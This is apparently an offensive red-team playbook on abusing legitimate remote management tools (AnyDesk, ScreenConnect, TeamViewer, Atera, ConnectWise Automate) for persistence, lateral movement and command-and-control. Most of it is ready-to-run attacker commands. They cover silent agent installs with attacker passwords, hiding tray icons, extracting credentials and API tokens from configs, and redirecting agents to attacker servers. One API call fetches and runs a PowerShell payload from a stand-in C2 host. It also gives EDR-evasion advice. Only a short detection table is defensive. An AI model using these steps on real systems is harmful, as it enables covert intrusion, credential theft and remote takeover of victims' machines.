rmm-tool-abuse

# RMM Tool Abuse Abuses legitimate Remote Monitoring and Management (RMM) software for persistence, lateral movement, and C2. RMM agents are signed binaries, trusted by EDR, allowed through firewalls, and blend with legitimate IT operations traffic. Deploying a commercial RMM agent provides full remote control without custom implants. ## Quick Reference ```bash # Deploy AnyDesk silently curl -sLo anydesk.exe "https://download.anydesk.com/AnyDesk.exe" anydesk.exe --install "C:\ProgramData\AnyDesk" --start-with-win --silent echo <ATTACKER_ANYDESK_PASS> | anydesk.exe --set-password anydesk.exe --get-id > anydesk_id.txt # Deploy ScreenConnect silently msiexec /i "https://<SCREENCONNECT_SERVER>/Bin/ScreenConnect.ClientSetup.msi" /qn # Deploy Atera agent silently msiexec /i AteraAgent.msi /qn IntegratorLogin=<ATERA_EMAIL> CompanyId=1 # Find existing RMM installations wmic product get name,version | findstr /i "anydesk teamviewer screenconnect atera splashtop ninja level" reg query "HKLM\SOFTWARE" /s /f "AnyDesk" 2>nul reg query "HKLM\SOFTWARE" /s /f "TeamViewer" 2>nul ``` ## MITRE ATT&CK Mapping | Technique | ID | Application | |---|---|---| | Remote Access Software | T1219 | Deploy/abuse RMM for persistent remote access | | Remote Services | T1021 | Lateral movement through RMM console to managed endpoints | | Ingress Tool Transfer | T1105 | Use RMM file transfer to stage payloads | | Signed Binary Proxy Execution | T1218 | RMM agent is vendor-signed, bypasses app allowlisting | | Valid Accounts | T1078 | Hijack existing RMM admin credentials | | Persistence via Service | T1543.003 | RMM agent installs as Windows service | ## 1. Discovery — Finding Existing RMM Installations ```bash # Windows — enumerate installed RMM products wmic product get name,version 2>nul | findstr /i "anydesk teamviewer screenconnect atera splashtop ninja connectwise level action1 datto" # Service enumeration sc query type= service state= all | findstr /i "AnyDesk TeamViewer ScreenConnect Atera" # Registry checks for common RMM artifacts reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v ClientID 2>nul reg query "HKLM\SOFTWARE\AnyDesk" 2>nul reg query "HKLM\SOFTWARE\ScreenConnect Client" 2>nul # Process enumeration tasklist /fi "imagename eq AnyDesk.exe" 2>nul tasklist /fi "imagename eq TeamViewer.exe" 2>nul tasklist /fi "imagename eq ScreenConnect.WindowsClient.exe" 2>nul # Linux — check for RMM agents ps aux | grep -iE 'anydesk|teamviewer|rustdesk' find / -name "anydesk" -o -name "teamviewerd" 2>/dev/null systemctl list-units | grep -iE 'anydesk|teamviewer' # Network — identify RMM traffic patterns netstat -ano | findstr "443 80 7070 5938" # TeamViewer: ports 5938, 443 to *.teamviewer.com # AnyDesk: port 443 to *.net.anydesk.com # ScreenConnect: port 443 to custom server ``` ## 2. Deploying RMM Agents for Persistence ### AnyDesk ```bash # Download and silent install curl -sLo C:\ProgramData\anydesk.exe "https://download.anydesk.com/AnyDesk.exe" # Install as service with unattended access C:\ProgramData\anydesk.exe --install "C:\ProgramData\AnyDesk" --start-with-win --silent # Set unattended password echo "<ATTACKER_PASS>" | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password # Retrieve AnyDesk ID for remote connection "C:\ProgramData\AnyDesk\AnyDesk.exe" --get-id # Config file manipulation for stealth # Disable tray icon and notification echo "ad.security.interactive_access=2" >> "C:\ProgramData\AnyDesk\system.conf" echo "ad.ui.tray_icon=0" >> "C:\ProgramData\AnyDesk\system.conf" # Linux deployment curl -sLo /tmp/anydesk.deb "https://download.anydesk.com/linux/anydesk_amd64.deb" dpkg -i /tmp/anydesk.deb 2>/dev/null echo "<ATTACKER_PASS>" | anydesk --set-password anydesk --get-id ``` ### ScreenConnect (ConnectWise Control) ```bash # Generate MSI from attacker-controlled ScreenConnect instance # URL format: https://<SERVER>/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest # Silent MSI install msiexec /i "https://<SCREENCONNECT_SERVER>/Bin/ScreenConnect.ClientSetup.msi" /qn /norestart # Custom session group for organization msiexec /i ScreenConnect.ClientSetup.msi /qn \ SESSIONGROUP="<TARGET_ORG>" \ SESSIONNAME="IT-Support-%COMPUTERNAME%" # Verify service running sc query "ScreenConnect Client (xxxxxxxx)" 2>nul # ScreenConnect relay traffic uses HTTPS to attacker server — looks like normal web traffic ``` ### TeamViewer ```bash # Silent install with predefined password TeamViewer_Setup.exe /S /norestart # Configure unattended access via registry reg add "HKLM\SOFTWARE\TeamViewer" /v SecurityPasswordAES /t REG_BINARY /d <AES_ENCRYPTED_PASS> /f reg add "HKLM\SOFTWARE\TeamViewer" /v SecurityPasswordExported /t REG_DWORD /d 1 /f # Retrieve TeamViewer ID reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v ClientID # Alternative: TeamViewer Host (headless mode for servers) TeamViewer_Host_Setup.exe /S /norestart ``` ### Atera ```bash # Atera agent — requires attacker Atera account (free trial works) # Generate installer from Atera console with unique agent link # Silent install msiexec /i AteraAgent.msi /qn IntegratorLogin=<ATERA_ACCT_EMAIL> CompanyId=1 # Atera provides: remote shell, file manager, software deployment, script execution # All traffic over HTTPS to *.atera.com — indistinguishable from legitimate MSP traffic ``` ## 3. Leveraging Existing RMM Installations ```bash # If RMM is already deployed, hijack the admin console # TeamViewer — extract credentials from registry/config reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v SecurityPasswordAES # Decrypt with known TeamViewer AES key (static per-version key) # AnyDesk — extract config and connection tokens type "C:\ProgramData\AnyDesk\system.conf" type "C:\ProgramData\AnyDesk\service.conf" # Look for ad.security.password_hash — can be replaced with attacker hash # ScreenConnect — if you have access to the ScreenConnect server # Extension/plugin abuse for code execution on all managed endpoints # Navigate to Admin > Extensions > upload malicious extension # Atera — API token theft # Atera API key in: registry, agent config, or intercepted API calls reg query "HKLM\SOFTWARE\ATERA Networks\AlphaAgent" /s # ConnectWise Automate — agent hijack # Config stored in: C:\Windows\LTSvc\labtech.ini type C:\Windows\LTSvc\labtech.ini # Contains: ServerAddress, ComputerID, LocationID # Redirect agent to attacker Automate server by modifying ServerAddress ``` ## 4. Lateral Movement via RMM Console ```bash # Once RMM admin access is obtained, lateral movement is trivial: # ScreenConnect — execute commands on any managed endpoint # From ScreenConnect web UI: select host → Commands → Run Command # Or via ScreenConnect API: curl -sk "https://<SC_SERVER>/Services/PageService.ashx/RunCommand" \ -H "Cookie: <ADMIN_SESSION>" \ -d '{"sessionID":"<TARGET_SESSION>","command":"whoami && ipconfig /all"}' # Atera — remote script execution across all managed devices # Atera API: run PowerShell on any agent curl -s "https://app.atera.com/api/v3/agents/<AGENT_ID>/runscript" \ -H "X-Api-Key: <ATERA_API_KEY>" \ -H "Content-Type: application/json" \ -d '{"scriptContent":"IEX (New-Object Net.WebClient).DownloadString(\"http://<C2>/payload.ps1\")"}' # TeamViewer — mass deployment via TeamViewer Management Console # Use Remote Management > Patch Management to deploy "updates" (payloads) # File transfer via RMM # AnyDesk: drag-and-drop or anydesk --file-transfer # ScreenConnect: Toolbox > Transfer Files # Atera: Manage > File Explorer > Upload ``` ## 5. C2 via RMM Channel ```bash # Use RMM's built-in remote shell as C2 channel # Advantages: # - Encrypted HTTPS traffic to vendor cloud # - Vendor-signed process # - Allowed by firewall/proxy # - No custom C2 infrastructure needed # AnyDesk C2 pattern: # 1. Install AnyDesk on target # 2. Set unattended password # 3. Connect from operator workstation # 4. Use AnyDesk's terminal feature for command execution # ScreenConnect C2 pattern: # 1. Deploy ScreenConnect agent pointing to attacker relay # 2. Use Backstage shell for persistent command line # 3. Use Extensions for automated task execution # Polling interval modification (reduce beacon frequency for stealth) # AnyDesk: modify ad.net.direct_connections in system.conf # TeamViewer: adjust AlwaysOnline polling interval ``` ## Tools & Resources | Tool | Use Case | URL | |---|---|---| | AnyDesk | Silent deploy, unattended access | download.anydesk.com | | ScreenConnect | Attacker-controlled relay + managed shell | connectwise.com/control | | TeamViewer | Mass deployment, file transfer | teamviewer.com | | Atera | Full RMM suite, API scripting | atera.com | | Level.io | Newer RMM, less EDR coverage | level.io | | RustDesk | Open-source, self-hosted RMM | rustdesk.com | ## Detection Signatures | Indicator | Detection Method | |---|---| | Unexpected RMM agent installation | EDR process creation for known RMM installers | | New Windows service for RMM product | SIEM event ID 7045 (service install) | | RMM agent connecting to non-corporate relay | Proxy/firewall logs for RMM vendor domains not in IT inventory | | `msiexec /i` with external URL | Command-line logging for remote MSI installs | | RMM config file modification | File integrity monitoring on RMM config directories | | Multiple RMM products on single host | Asset inventory cross-reference — legitimate IT uses one RMM | | AnyDesk `--set-password` in command line | Process command-line auditing | ## Error Handling & Edge Cases - **EDR blocks RMM installer**: Use the portable/standalone version (AnyDesk portable doesn't require install); rename binary to blend with legitimate software - **Application allowlisting**: RMM agents are vendor-signed; most allowlists whitelist by publisher certificate, not filename - **Proxy authentication required**: Configure RMM agent to use system proxy settings; ScreenConnect and TeamViewer auto-detect proxy - **Existing RMM with MFA on console**: Pivot to API-based access if API keys are extractable from agent config - **RMM vendor blocks attacker account**: Use trial accounts with disposable email; rotate accounts across targets - **No internet access on target**: Deploy self-hosted RustDesk server inside the network; use it as an internal pivot relay ## Decision Gate ``` IF existing RMM installation found on target: → Extract credentials/tokens from agent config → Attempt to hijack RMM admin console → Use existing RMM for lateral movement across managed endpoints IF no RMM installed but need persistence: → Deploy AnyDesk (smallest footprint, portable mode available) → Fallback: ScreenConnect (requires attacker-controlled server) → Last resort: Atera (full MSP suite, more features but larger footprint) IF EDR is aggressive: → Use portable/standalone RMM binary (no install, no service) → Rename binary to match legitimate IT naming conventions → Deploy during business hours to blend with IT admin activity ```